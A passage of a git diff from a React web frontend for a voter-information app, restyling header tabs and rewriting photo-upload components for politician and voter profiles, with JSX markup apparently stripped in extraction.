+ [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
+ fontSize: 20,
+ padding: '16px 16px 10px 16px',
+ },
+ [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktops
+ fontSize: 24,
+ },
+ },
+ tabRootBallotDesktop: {
+ fontSize: 18,
+ minWidth: 90,
+ paddingTop: 17,
+ },
+ tabRootBlog: {
+ color: 'rgba(51, 51, 51, 0.7)',
+ },
+ tabRootCandidates: {
+ minWidth: 90,
+ [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
+ minWidth: 0,
+ fontSize: 20,
+ padding: '16px 8px 10px 8px',
+ },
+ [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
+ fontSize: 20,
+ padding: '16px 16px 10px 16px',
+ },
+ [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktops
+ fontSize: 24,
+ },
+ },
+ tabRootCandidatesDesktop: {
+ fontSize: 18,
+ minWidth: 90,
+ paddingTop: 17,
+ },
+ tabRootDonate: {
+ minWidth: 70,
+ [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
+ minWidth: 0,
+ fontSize: 20,
+ padding: '16px 8px 10px 8px',
+ },
+ [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
+ fontSize: 20,
+ padding: '16px 16px 10px 16px',
+ },
+ [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop
+ fontSize: 24,
+ },
+ },
+ tabRootDonateDesktop: {
+ fontSize: 18,
+ minWidth: 70,
+ paddingTop: 17,
+ },
+ tabRootFriends: {
+ minWidth: 90,
+ [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
+ minWidth: 0,
+ fontSize: 20,
+ padding: '16px 8px 10px 8px',
+ },
+ [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
+ fontSize: 20,
+ padding: '16px 16px 10px 16px',
+ },
+ [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop
+ fontSize: 24,
+ },
+ },
+ tabRootFriendsDesktop: {
+ fontSize: 18,
+ minWidth: 90,
+ paddingTop: 17,
+ },
+ tabRootNews: {
+ minWidth: 70,
+ [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
+ minWidth: 0,
+ fontSize: 20,
+ padding: '16px 8px 10px 8px',
+ },
+ [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
+ fontSize: 20,
+ padding: '16px 16px 10px 16px',
+ },
+ [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop
+ fontSize: 24,
+ },
+ },
+ tabRootNewsDesktop: {
+ fontSize: 18,
+ minWidth: 70,
+ paddingTop: 17,
+ },
+ tabRootHowItWorks: {
+ minWidth: 70,
+ [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
+ minWidth: 0,
+ fontSize: 20,
+ padding: '16px 8px 10px 8px',
+ },
+ [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
+ fontSize: 20,
+ padding: '16px 16px 10px 16px',
+ },
+ [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop
+ fontSize: 24,
+ },
+ },
+ };
+};
+
+const HeaderBarWrapper = styled.div.attrs({
+ className: 'HeaderBarWrapper', // div.attrs and className all added to achieve drop-shadow on Donate page
+ shouldForwardProp: (prop) => !['scrolledDown', 'hasSubmenu'].includes(prop),
+})(({ scrolledDown, hasSubmenu }) => (`
+ box-shadow: ${(!scrolledDown || !hasSubmenu) ? '' : standardBoxShadow('wide')};
+ border-bottom: ${(!scrolledDown || !hasSubmenu) ? '' : '1px solid #aaa'};
+ padding-left: calc(100vw - 100%);
+`));
+
+const StyledHeaderMenuTabs = styled(Tabs)`
+ // {() => (isIOSAppOnMac() ? '' : displayNoneIfSmallerThanDesktop())};
+`;
+const StyledMoreMenu = styled(Menu)`
+ .MuiPaper-root {
+ border-radius: 8px;
+ box-shadow: ${standardBoxShadow('wide')};
+ margin-top: 8px;
+ min-width: 200px;
+ }
+`;
+
+const StyledMoreMenuItem = styled(MenuItem)`
+ color: rgba(51, 51, 51, 0.7);
+ font-size: 18px;
+ font-weight: 500;
+ line-height: 1.2;
+ opacity: 1;
+ padding: 12px 16px;
+ position: relative;
+
+ &:hover {
+ background: rgba(46, 60, 93, 0.06);
+ }
+
+ &.Mui-selected,
+ &.Mui-selected:hover {
+ background: transparent;
+ color: #2e3c5d;
+ font-weight: 600;
+ opacity: 1;
+ }
+`;
+
+export default withStyles(styles)(HeaderBar);
diff --git a/src/js/components/PoliticianSelfEdit/SettingsPoliticianPicture.jsx b/src/js/components/PoliticianSelfEdit/SettingsPoliticianPicture.jsx
index d431f91b87..909bc21f0c 100644
--- a/src/js/components/PoliticianSelfEdit/SettingsPoliticianPicture.jsx
+++ b/src/js/components/PoliticianSelfEdit/SettingsPoliticianPicture.jsx
@@ -1,298 +1,298 @@
-import { Button, FormControlLabel, Radio } from '@mui/material';
-import styled from 'styled-components';
-import TagManager from 'react-gtm-module';
-import withStyles from '@mui/styles/withStyles';
-import PropTypes from 'prop-types';
-import React, { Component } from 'react';
-import {
- ColumnWrapper, CustomColumns, ProfilePicture, ProfilePictureOption,
- ProfilePictureWrapper, RadioWrapper, SaveInnerWrapper, SaveOuterWrapper,
- Separator,
-} from '../Style/ProfilePictureStyles';
-import PoliticianActions from '../../common/actions/PoliticianActions';
-import VoterPhotoUpload from '../../common/components/Settings/VoterPhotoUpload';
-import PoliticianStore from '../../common/stores/PoliticianStore';
-import VoterStore from '../../stores/VoterStore';
-import { getPageDetails } from '../../utils/lookupPageNameAndPageTypeDict';
-
-class SettingsPoliticianPicture extends Component {
- constructor (props) {
- super(props);
- this.state = {
- politicianBallotpediaImageUrlLarge: '',
- politicianFacebookImageUrlLarge: '',
- politicianLinkedInImageUrlLarge: '',
- politicianPhotoQueuedToSaveSet: false,
- politicianTwitterImageUrlLarge: '',
- politicianVoteUSAImageUrlLarge: '',
- politicianWikipediaImageUrlLarge: '',
- profileImageTypeCurrentlyActive: 'UPLOADED',
- uploadedFileStaged: false,
- };
- this.changeProfileImageTypeCurrentlyActive = this.changeProfileImageTypeCurrentlyActive.bind(this);
- // this.setProfileImageTypeCurrentlyActive = this.setProfileImageTypeCurrentlyActive.bind(this);
- }
-
- componentDidMount () {
- // console.log('SettingsPoliticianPicture componentDidMount');
- this.onPoliticianStoreChange();
- this.politicianStoreListener = PoliticianStore.addListener(this.onPoliticianStoreChange.bind(this));
- }
-
- componentWillUnmount () {
- // console.log('SettingsPoliticianPicture componentWillUnmount');
- this.politicianStoreListener.remove();
- }
-
- onPoliticianStoreChange = () => {
- const { politicianWeVoteId } = this.props;
- const { uploadedFileStaged } = this.state;
- const politician = PoliticianStore.getPoliticianByWeVoteId(politicianWeVoteId);
- let profileImageTypeCurrentlyActive = 'UPLOADED';
- if (politician.profile_image_type_currently_active && !uploadedFileStaged) {
- if (politician.profile_image_type_currently_active !== 'UNKNOWN') {
- profileImageTypeCurrentlyActive = politician.profile_image_type_currently_active;
- }
- }
- this.setState({
- profileImageTypeCurrentlyActive,
- politicianBallotpediaImageUrlLarge: politician.we_vote_hosted_profile_ballotpedia_image_url_large,
- politicianFacebookImageUrlLarge: politician.we_vote_hosted_profile_facebook_image_url_large,
- politicianLinkedInImageUrlLarge: politician.we_vote_hosted_profile_linkedin_image_url_large,
- politicianTwitterImageUrlLarge: politician.we_vote_hosted_profile_twitter_image_url_large,
- politicianVoteUSAImageUrlLarge: politician.we_vote_hosted_profile_vote_usa_image_url_large,
- politicianWikipediaImageUrlLarge: politician.we_vote_hosted_profile_wikipedia_image_url_large,
- });
- };
-
- // setProfileImageTypeCurrentlyActive (type) {
- // const { uploadedFileStaged } = this.state;
- // console.log('SettingsPoliticianPicture setProfileImageTypeCurrentlyActive:', type);
- // const isStaged = type === 'UPLOADED' ? 'true' : uploadedFileStaged;
- // this.setState({
- // profileImageTypeCurrentlyActive: type,
- // profileImageTypeCurrentlyActiveSet: true,
- // uploadedFileStaged: isStaged,
- // });
- // }
-
- onUploadLocal = (file) => {
- console.log('SettingsPoliticianPicture onUploadLocal (not used):', file);
- this.setState({
- profileImageTypeCurrentlyActive: 'UPLOADED',
- profileImageTypeCurrentlyActiveSet: true,
- // uploadedFile: file,
- uploadedFileStaged: true,
- });
- };
-
- submitPoliticianPhotoSave = (buttonId) => {
- const { politicianWeVoteId } = this.props;
- const { profileImageTypeCurrentlyActive } = this.state;
- const politicianPhotoQueuedToSave = PoliticianStore.getPoliticianPhotoQueuedToSave();
- const politicianPhotoQueuedToSaveSet = PoliticianStore.getPoliticianPhotoQueuedToSaveSet();
- if (politicianPhotoQueuedToSaveSet || profileImageTypeCurrentlyActive) {
- PoliticianActions.politicianPhotoSave(politicianWeVoteId, politicianPhotoQueuedToSave, politicianPhotoQueuedToSaveSet, profileImageTypeCurrentlyActive);
- PoliticianActions.politicianPhotoQueuedToSave(undefined);
-
- // Adding event data to dataLayer for Google Tag Manager
- const dataLayerObject = {
- event: 'action',
- actionDetails: {
- actionType: 'upload',
- buttonId,
- },
- userDetails: VoterStore.getAnalyticsUserDetails(),
- pageDetails: getPageDetails(),
- };
- if (politicianWeVoteId) {
- dataLayerObject.politicianDetails = PoliticianStore.getAnalyticsPoliticianDetails(politicianWeVoteId);
- }
- TagManager.dataLayer({ dataLayer: dataLayerObject });
- }
-
- this.setState({
- politicianPhotoQueuedToSaveSet: false,
- profileImageTypeCurrentlyActiveSet: false,
- uploadedFileStaged: false,
- });
- };
-
- changeProfileImageTypeCurrentlyActive (e) {
- // console.log('changeProfileImageTypeCurrentlyActive:', e);
- this.setState({
- profileImageTypeCurrentlyActive: e.target.value,
- profileImageTypeCurrentlyActiveSet: true,
- });
- }
-
- render () {
- const {
- politicianBallotpediaImageUrlLarge, profileImageTypeCurrentlyActive, profileImageTypeCurrentlyActiveSet,
- politicianFacebookImageUrlLarge, politicianLinkedInImageUrlLarge, politicianPhotoQueuedToSaveSet, politicianTwitterImageUrlLarge,
- politicianVoteUSAImageUrlLarge, politicianWikipediaImageUrlLarge,
- } = this.state;
- const { classes, politicianWeVoteId } = this.props;
- const onlyOneOption = !(politicianFacebookImageUrlLarge || politicianTwitterImageUrlLarge);
-
- return (
-
-
-
-
-
-
-
- {politicianVoteUSAImageUrlLarge && (
-
-
-
-
-
-
- )}
- {politicianBallotpediaImageUrlLarge && (
-
-
-
-
-
-
- )}
- {politicianWikipediaImageUrlLarge && (
-
-
-
-
-
-
- )}
- {politicianLinkedInImageUrlLarge && (
-
-
-
-
-
-
- )}
- {politicianFacebookImageUrlLarge && (
-
-
-
-
-
-
- )}
- {politicianTwitterImageUrlLarge && (
-
-
-
-
-
-
- )}
-
-
-
-
- this.submitPoliticianPhotoSave('saveEditYourPhotoBottom')}
- variant="contained"
- >
- {(!politicianPhotoQueuedToSaveSet && !profileImageTypeCurrentlyActiveSet) ? 'Photo saved' : 'Save photo'}
-
-
-
-
- );
- }
-}
-SettingsPoliticianPicture.propTypes = {
- classes: PropTypes.object,
- politicianWeVoteId: PropTypes.string,
-};
-
-const styles = () => ({
- button: {
- marginTop: 12,
- marginBottom: 8,
- },
- buttonSave: {
- boxShadow: 'none !important',
- // fontSize: '18px',
- // height: '45px !important',
- marginLeft: 10,
- padding: '0 30px',
- textTransform: 'none',
- // width: 150,
- },
-});
-
-const Wrapper = styled('div')`
-`;
-
-export default withStyles(styles)(SettingsPoliticianPicture);
+import { Button, FormControlLabel, Radio } from '@mui/material';
+import styled from 'styled-components';
+import TagManager from 'react-gtm-module';
+import withStyles from '@mui/styles/withStyles';
+import PropTypes from 'prop-types';
+import React, { Component } from 'react';
+import {
+ ColumnWrapper, CustomColumns, ProfilePicture, ProfilePictureOption,
+ ProfilePictureWrapper, RadioWrapper, SaveInnerWrapper, SaveOuterWrapper,
+ Separator,
+} from '../Style/ProfilePictureStyles';
+import PoliticianActions from '../../common/actions/PoliticianActions';
+import VoterPhotoUpload from '../../common/components/Settings/VoterPhotoUpload';
+import PoliticianStore from '../../common/stores/PoliticianStore';
+import VoterStore from '../../stores/VoterStore';
+import { getPageDetails } from '../../utils/lookupPageNameAndPageTypeDict';
+
+class SettingsPoliticianPicture extends Component {
+ constructor (props) {
+ super(props);
+ this.state = {
+ politicianBallotpediaImageUrlLarge: '',
+ politicianFacebookImageUrlLarge: '',
+ politicianLinkedInImageUrlLarge: '',
+ politicianPhotoQueuedToSaveSet: false,
+ politicianTwitterImageUrlLarge: '',
+ politicianVoteUSAImageUrlLarge: '',
+ politicianWikipediaImageUrlLarge: '',
+ profileImageTypeCurrentlyActive: 'UPLOADED',
+ uploadedFileStaged: false,
+ };
+ this.changeProfileImageTypeCurrentlyActive = this.changeProfileImageTypeCurrentlyActive.bind(this);
+ // this.setProfileImageTypeCurrentlyActive = this.setProfileImageTypeCurrentlyActive.bind(this);
+ }
+
+ componentDidMount () {
+ // console.log('SettingsPoliticianPicture componentDidMount');
+ this.onPoliticianStoreChange();
+ this.politicianStoreListener = PoliticianStore.addListener(this.onPoliticianStoreChange.bind(this));
+ }
+
+ componentWillUnmount () {
+ // console.log('SettingsPoliticianPicture componentWillUnmount');
+ this.politicianStoreListener.remove();
+ }
+
+ onPoliticianStoreChange = () => {
+ const { politicianWeVoteId } = this.props;
+ const { uploadedFileStaged } = this.state;
+ const politician = PoliticianStore.getPoliticianByWeVoteId(politicianWeVoteId);
+ let profileImageTypeCurrentlyActive = 'UPLOADED';
+ if (politician.profile_image_type_currently_active && !uploadedFileStaged) {
+ if (politician.profile_image_type_currently_active !== 'UNKNOWN') {
+ profileImageTypeCurrentlyActive = politician.profile_image_type_currently_active;
+ }
+ }
+ this.setState({
+ profileImageTypeCurrentlyActive,
+ politicianBallotpediaImageUrlLarge: politician.we_vote_hosted_profile_ballotpedia_image_url_large,
+ politicianFacebookImageUrlLarge: politician.we_vote_hosted_profile_facebook_image_url_large,
+ politicianLinkedInImageUrlLarge: politician.we_vote_hosted_profile_linkedin_image_url_large,
+ politicianTwitterImageUrlLarge: politician.we_vote_hosted_profile_twitter_image_url_large,
+ politicianVoteUSAImageUrlLarge: politician.we_vote_hosted_profile_vote_usa_image_url_large,
+ politicianWikipediaImageUrlLarge: politician.we_vote_hosted_profile_wikipedia_image_url_large,
+ });
+ };
+
+ // setProfileImageTypeCurrentlyActive (type) {
+ // const { uploadedFileStaged } = this.state;
+ // console.log('SettingsPoliticianPicture setProfileImageTypeCurrentlyActive:', type);
+ // const isStaged = type === 'UPLOADED' ? 'true' : uploadedFileStaged;
+ // this.setState({
+ // profileImageTypeCurrentlyActive: type,
+ // profileImageTypeCurrentlyActiveSet: true,
+ // uploadedFileStaged: isStaged,
+ // });
+ // }
+
+ onUploadLocal = (file) => {
+ console.log('SettingsPoliticianPicture onUploadLocal (not used):', file);
+ this.setState({
+ profileImageTypeCurrentlyActive: 'UPLOADED',
+ profileImageTypeCurrentlyActiveSet: true,
+ // uploadedFile: file,
+ uploadedFileStaged: true,
+ });
+ };
+
+ submitPoliticianPhotoSave = (buttonId) => {
+ const { politicianWeVoteId } = this.props;
+ const { profileImageTypeCurrentlyActive } = this.state;
+ const politicianPhotoQueuedToSave = PoliticianStore.getPoliticianPhotoQueuedToSave();
+ const politicianPhotoQueuedToSaveSet = PoliticianStore.getPoliticianPhotoQueuedToSaveSet();
+ if (politicianPhotoQueuedToSaveSet || profileImageTypeCurrentlyActive) {
+ PoliticianActions.politicianPhotoSave(politicianWeVoteId, politicianPhotoQueuedToSave, politicianPhotoQueuedToSaveSet, profileImageTypeCurrentlyActive);
+ PoliticianActions.politicianPhotoQueuedToSave(undefined);
+
+ // Adding event data to dataLayer for Google Tag Manager
+ const dataLayerObject = {
+ event: 'action',
+ actionDetails: {
+ actionType: 'upload',
+ buttonId,
+ },
+ userDetails: VoterStore.getAnalyticsUserDetails(),
+ pageDetails: getPageDetails(),
+ };
+ if (politicianWeVoteId) {
+ dataLayerObject.politicianDetails = PoliticianStore.getAnalyticsPoliticianDetails(politicianWeVoteId);
+ }
+ TagManager.dataLayer({ dataLayer: dataLayerObject });
+ }
+
+ this.setState({
+ politicianPhotoQueuedToSaveSet: false,
+ profileImageTypeCurrentlyActiveSet: false,
+ uploadedFileStaged: false,
+ });
+ };
+
+ changeProfileImageTypeCurrentlyActive (e) {
+ // console.log('changeProfileImageTypeCurrentlyActive:', e);
+ this.setState({
+ profileImageTypeCurrentlyActive: e.target.value,
+ profileImageTypeCurrentlyActiveSet: true,
+ });
+ }
+
+ render () {
+ const {
+ politicianBallotpediaImageUrlLarge, profileImageTypeCurrentlyActive, profileImageTypeCurrentlyActiveSet,
+ politicianFacebookImageUrlLarge, politicianLinkedInImageUrlLarge, politicianPhotoQueuedToSaveSet, politicianTwitterImageUrlLarge,
+ politicianVoteUSAImageUrlLarge, politicianWikipediaImageUrlLarge,
+ } = this.state;
+ const { classes, politicianWeVoteId } = this.props;
+ const onlyOneOption = !(politicianFacebookImageUrlLarge || politicianTwitterImageUrlLarge);
+
+ return (
+
+
+
+
+
+
+
+ {politicianVoteUSAImageUrlLarge && (
+
+
+
+
+
+
+ )}
+ {politicianBallotpediaImageUrlLarge && (
+
+
+
+
+
+
+ )}
+ {politicianWikipediaImageUrlLarge && (
+
+
+
+
+
+
+ )}
+ {politicianLinkedInImageUrlLarge && (
+
+
+
+
+
+
+ )}
+ {politicianFacebookImageUrlLarge && (
+
+
+
+
+
+
+ )}
+ {politicianTwitterImageUrlLarge && (
+
+
+
+
+
+
+ )}
+
+
+
+
+ this.submitPoliticianPhotoSave('saveEditYourPhotoBottom')}
+ variant="contained"
+ >
+ {(!politicianPhotoQueuedToSaveSet && !profileImageTypeCurrentlyActiveSet) ? 'Photo saved' : 'Save photo'}
+
+
+
+
+ );
+ }
+}
+SettingsPoliticianPicture.propTypes = {
+ classes: PropTypes.object,
+ politicianWeVoteId: PropTypes.string,
+};
+
+const styles = () => ({
+ button: {
+ marginTop: 12,
+ marginBottom: 8,
+ },
+ buttonSave: {
+ boxShadow: 'none !important',
+ // fontSize: '18px',
+ // height: '45px !important',
+ marginLeft: 10,
+ padding: '0 30px',
+ textTransform: 'none',
+ // width: 150,
+ },
+});
+
+const Wrapper = styled('div')`
+`;
+
+export default withStyles(styles)(SettingsPoliticianPicture);
diff --git a/src/js/components/SetUpAccount/SetUpAccountAddPhoto.jsx b/src/js/components/SetUpAccount/SetUpAccountAddPhoto.jsx
index 387bf65c3c..50d893530b 100644
--- a/src/js/components/SetUpAccount/SetUpAccountAddPhoto.jsx
+++ b/src/js/components/SetUpAccount/SetUpAccountAddPhoto.jsx
@@ -1,168 +1,168 @@
-import withStyles from '@mui/styles/withStyles';
-import styled from 'styled-components';
-import PropTypes from 'prop-types';
-import React, { Suspense } from 'react';
-import VoterActions from '../../actions/VoterActions';
-import { renderLog } from '../../common/utils/logging';
-import VoterStore from '../../stores/VoterStore';
-import {
- InputFieldsWrapper,
- SetUpAccountIntroText,
- SetUpAccountTitle,
- SetUpAccountTop,
- StepCenteredWrapper,
- VoterNameWrapper,
-} from '../Style/SetUpAccountStyles';
-
-const VoterPhotoUpload = React.lazy(() => import(/* webpackChunkName: 'VoterPhotoUpload' */ '../../common/components/Settings/VoterPhotoUpload'));
-
-class SetUpAccountAddPhoto extends React.Component {
- constructor (props) {
- super(props);
- this.state = {
- voterFirstName: '',
- voterLastName: '',
- voterPhotoMissing: false,
- };
- }
-
- componentDidMount () {
- window.scrollTo(0, 0);
- this.onVoterStoreChange();
- this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
- }
-
- componentDidUpdate (prevProps) {
- // console.log('SetUpAccountAddPhoto componentDidUpdate prevProps.nextButtonClicked:', prevProps.nextButtonClicked, ', this.props.nextButtonClicked:', this.props.nextButtonClicked);
- if (prevProps.nextButtonClicked === false && this.props.nextButtonClicked === true) {
- this.submitSavePhoto();
- }
- }
-
- componentWillUnmount () {
- this.voterStoreListener.remove();
- if (this.functionToUseWhenProfileCompleteTimer) {
- clearTimeout(this.functionToUseWhenProfileCompleteTimer);
- }
- if (this.goToNextStepTimer) {
- clearTimeout(this.goToNextStepTimer);
- }
- }
-
- onVoterStoreChange () {
- const voterFirstName = VoterStore.getFirstName();
- const voterLastName = VoterStore.getLastName();
- const voterProfileUploadedImageUrlLarge = VoterStore.getVoterProfileUploadedImageUrlLarge();
- this.setState({
- voterFirstName,
- voterLastName,
- voterProfileUploadedImageUrlLarge,
- });
- }
-
- functionToUseWhenProfileCompleteLocal = () => {
- if (this.props.functionToUseWhenProfileComplete) {
- this.props.functionToUseWhenProfileComplete();
- }
- };
-
- functionToUseWhenProfileNotCompleteLocal = () => {
- if (this.props.functionToUseWhenProfileNotComplete) {
- this.props.functionToUseWhenProfileNotComplete();
- }
- };
-
- goToNextStepLocal = () => {
- if (this.props.goToNextStep) {
- this.props.goToNextStep();
- }
- };
-
- submitSavePhoto = () => {
- // console.log('SetUpAccountAddPhoto submitSavePhoto');
- let voterPhotoMissing = false;
- const voterPhotoQueuedToSave = VoterStore.getVoterPhotoQueuedToSave();
- const voterPhotoQueuedToSaveSet = VoterStore.getVoterPhotoQueuedToSaveSet();
- VoterActions.voterCompleteYourProfileSave(null, false, null, false, voterPhotoQueuedToSave, voterPhotoQueuedToSaveSet);
- VoterActions.voterFirstNameQueuedToSave(undefined);
- VoterActions.voterLastNameQueuedToSave(undefined);
- VoterActions.voterPhotoQueuedToSave(undefined);
- VoterActions.profilePhotoTooBigReset();
-
- if (!voterPhotoQueuedToSave && !VoterStore.getVoterProfileUploadedImageUrlLarge()) {
- voterPhotoMissing = true;
- }
- if (voterPhotoMissing) {
- this.setState({
- voterPhotoMissing,
- }, () => this.functionToUseWhenProfileNotCompleteLocal());
- } else {
- VoterActions.voterRetrieve();
- this.functionToUseWhenProfileCompleteTimer = setTimeout(() => {
- this.functionToUseWhenProfileCompleteLocal();
- }, 500);
- this.goToNextStepTimer = setTimeout(() => {
- this.goToNextStepLocal();
- }, 500);
- }
- };
-
- render () {
- renderLog('SetUpAccountAddPhoto'); // Set LOG_RENDER_EVENTS to log all renders
- const {
- voterFirstName, voterLastName, voterPhotoMissing, voterProfileUploadedImageUrlLarge,
- } = this.state;
-
- return (
-
- {voterProfileUploadedImageUrlLarge ? (
-
- Looking good!
-
- ) : (
-
- Add your photo
- Profile pictures help your friends find you.
-
- )}
-
- {voterPhotoMissing && (
-
- Please upload a photo, or click `Skip for now`.
-
- )}
-
- }>
-
-
-
-
- {voterFirstName}
- {' '}
- {voterLastName}
-
-
- );
- }
-}
-SetUpAccountAddPhoto.propTypes = {
- functionToUseWhenProfileComplete: PropTypes.func,
- functionToUseWhenProfileNotComplete: PropTypes.func,
- goToNextStep: PropTypes.func,
- nextButtonClicked: PropTypes.bool,
-};
-
-const styles = () => ({
-});
-
-const VoterPhotoMissing = styled('div')`
- font-size: 18px;
- color: red;
-`;
-
-const VoterPhotoOuterWrapper = styled('div')`
- min-height: 240px;
-`;
-
-export default withStyles(styles)(SetUpAccountAddPhoto);
+import withStyles from '@mui/styles/withStyles';
+import styled from 'styled-components';
+import PropTypes from 'prop-types';
+import React, { Suspense } from 'react';
+import VoterActions from '../../actions/VoterActions';
+import { renderLog } from '../../common/utils/logging';
+import VoterStore from '../../stores/VoterStore';
+import {
+ InputFieldsWrapper,
+ SetUpAccountIntroText,
+ SetUpAccountTitle,
+ SetUpAccountTop,
+ StepCenteredWrapper,
+ VoterNameWrapper,
+} from '../Style/SetUpAccountStyles';
+
+const VoterPhotoUpload = React.lazy(() => import(/* webpackChunkName: 'VoterPhotoUpload' */ '../../common/components/Settings/VoterPhotoUpload'));
+
+class SetUpAccountAddPhoto extends React.Component {
+ constructor (props) {
+ super(props);
+ this.state = {
+ voterFirstName: '',
+ voterLastName: '',
+ voterPhotoMissing: false,
+ };
+ }
+
+ componentDidMount () {
+ window.scrollTo(0, 0);
+ this.onVoterStoreChange();
+ this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
+ }
+
+ componentDidUpdate (prevProps) {
+ // console.log('SetUpAccountAddPhoto componentDidUpdate prevProps.nextButtonClicked:', prevProps.nextButtonClicked, ', this.props.nextButtonClicked:', this.props.nextButtonClicked);
+ if (prevProps.nextButtonClicked === false && this.props.nextButtonClicked === true) {
+ this.submitSavePhoto();
+ }
+ }
+
+ componentWillUnmount () {
+ this.voterStoreListener.remove();
+ if (this.functionToUseWhenProfileCompleteTimer) {
+ clearTimeout(this.functionToUseWhenProfileCompleteTimer);
+ }
+ if (this.goToNextStepTimer) {
+ clearTimeout(this.goToNextStepTimer);
+ }
+ }
+
+ onVoterStoreChange () {
+ const voterFirstName = VoterStore.getFirstName();
+ const voterLastName = VoterStore.getLastName();
+ const voterProfileUploadedImageUrlLarge = VoterStore.getVoterProfileUploadedImageUrlLarge();
+ this.setState({
+ voterFirstName,
+ voterLastName,
+ voterProfileUploadedImageUrlLarge,
+ });
+ }
+
+ functionToUseWhenProfileCompleteLocal = () => {
+ if (this.props.functionToUseWhenProfileComplete) {
+ this.props.functionToUseWhenProfileComplete();
+ }
+ };
+
+ functionToUseWhenProfileNotCompleteLocal = () => {
+ if (this.props.functionToUseWhenProfileNotComplete) {
+ this.props.functionToUseWhenProfileNotComplete();
+ }
+ };
+
+ goToNextStepLocal = () => {
+ if (this.props.goToNextStep) {
+ this.props.goToNextStep();
+ }
+ };
+
+ submitSavePhoto = () => {
+ // console.log('SetUpAccountAddPhoto submitSavePhoto');
+ let voterPhotoMissing = false;
+ const voterPhotoQueuedToSave = VoterStore.getVoterPhotoQueuedToSave();
+ const voterPhotoQueuedToSaveSet = VoterStore.getVoterPhotoQueuedToSaveSet();
+ VoterActions.voterCompleteYourProfileSave(null, false, null, false, voterPhotoQueuedToSave, voterPhotoQueuedToSaveSet);
+ VoterActions.voterFirstNameQueuedToSave(undefined);
+ VoterActions.voterLastNameQueuedToSave(undefined);
+ VoterActions.voterPhotoQueuedToSave(undefined);
+ VoterActions.profilePhotoTooBigReset();
+
+ if (!voterPhotoQueuedToSave && !VoterStore.getVoterProfileUploadedImageUrlLarge()) {
+ voterPhotoMissing = true;
+ }
+ if (voterPhotoMissing) {
+ this.setState({
+ voterPhotoMissing,
+ }, () => this.functionToUseWhenProfileNotCompleteLocal());
+ } else {
+ VoterActions.voterRetrieve();
+ this.functionToUseWhenProfileCompleteTimer = setTimeout(() => {
+ this.functionToUseWhenProfileCompleteLocal();
+ }, 500);
+ this.goToNextStepTimer = setTimeout(() => {
+ this.goToNextStepLocal();
+ }, 500);
+ }
+ };
+
+ render () {
+ renderLog('SetUpAccountAddPhoto'); // Set LOG_RENDER_EVENTS to log all renders
+ const {
+ voterFirstName, voterLastName, voterPhotoMissing, voterProfileUploadedImageUrlLarge,
+ } = this.state;
+
+ return (
+
+ {voterProfileUploadedImageUrlLarge ? (
+
+ Looking good!
+
+ ) : (
+
+ Add your photo
+ Profile pictures help your friends find you.
+
+ )}
+
+ {voterPhotoMissing && (
+
+ Please upload a photo, or click `Skip for now`.
+
+ )}
+
+ }>
+
+
+
+
+ {voterFirstName}
+ {' '}
+ {voterLastName}
+
+
+ );
+ }
+}
+SetUpAccountAddPhoto.propTypes = {
+ functionToUseWhenProfileComplete: PropTypes.func,
+ functionToUseWhenProfileNotComplete: PropTypes.func,
+ goToNextStep: PropTypes.func,
+ nextButtonClicked: PropTypes.bool,
+};
+
+const styles = () => ({
+});
+
+const VoterPhotoMissing = styled('div')`
+ font-size: 18px;
+ color: red;
+`;
+
+const VoterPhotoOuterWrapper = styled('div')`
+ min-height: 240px;
+`;
+
+export default withStyles(styles)(SetUpAccountAddPhoto);
diff --git a/src/js/components/Settings/SettingsProfilePicture.jsx b/src/js/components/Settings/SettingsProfilePicture.jsx
index 1ba381c3c9..d074bd7814 100644
--- a/src/js/components/Settings/SettingsProfilePicture.jsx
+++ b/src/js/components/Settings/SettingsProfilePicture.jsx
@@ -1,217 +1,217 @@
-import { Button, FormControlLabel, Radio } from '@mui/material';
-import styled from 'styled-components';
-import TagManager from 'react-gtm-module';
-import withStyles from '@mui/styles/withStyles';
-import PropTypes from 'prop-types';
-import React, { Component } from 'react';
-import {
- ColumnWrapper, CustomColumns, ProfilePicture, ProfilePictureOption,
- ProfilePictureWrapper, RadioWrapper, SaveInnerWrapper, SaveOuterWrapper,
- Separator,
-} from '../Style/ProfilePictureStyles';
-import VoterActions from '../../actions/VoterActions';
-import VoterPhotoUpload from '../../common/components/Settings/VoterPhotoUpload';
-import VoterStore from '../../stores/VoterStore';
-import { getPageDetails } from '../../utils/lookupPageNameAndPageTypeDict';
-
-class SettingsProfilePicture extends Component {
- constructor (props) {
- super(props);
- this.state = {
- profileImageTypeCurrentlyActive: 'UPLOADED',
- profileImageTypeCurrentlyActiveSet: false,
- uploadedFile: '',
- uploadedFileStaged: false,
- voterFacebookImageUrlLarge: '',
- voterTwitterImageUrlLarge: '',
- };
- this.changeProfileImageTypeCurrentlyActive = this.changeProfileImageTypeCurrentlyActive.bind(this);
- this.setProfileImageTypeCurrentlyActive = this.setProfileImageTypeCurrentlyActive.bind(this);
- }
-
- componentDidMount () {
- this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
- this.onVoterStoreChange();
- }
-
- componentWillUnmount () {
- this.voterStoreListener.remove();
- }
-
- onVoterStoreChange () {
- // const { uploadedFileStaged } = this.state;
- const voter = VoterStore.getVoter();
- // let profileImageTypeCurrentlyActive = 'UPLOADED';
- // if (voter.profile_image_type_currently_active !== 'UNKNOWN' && !uploadedFileStaged) {
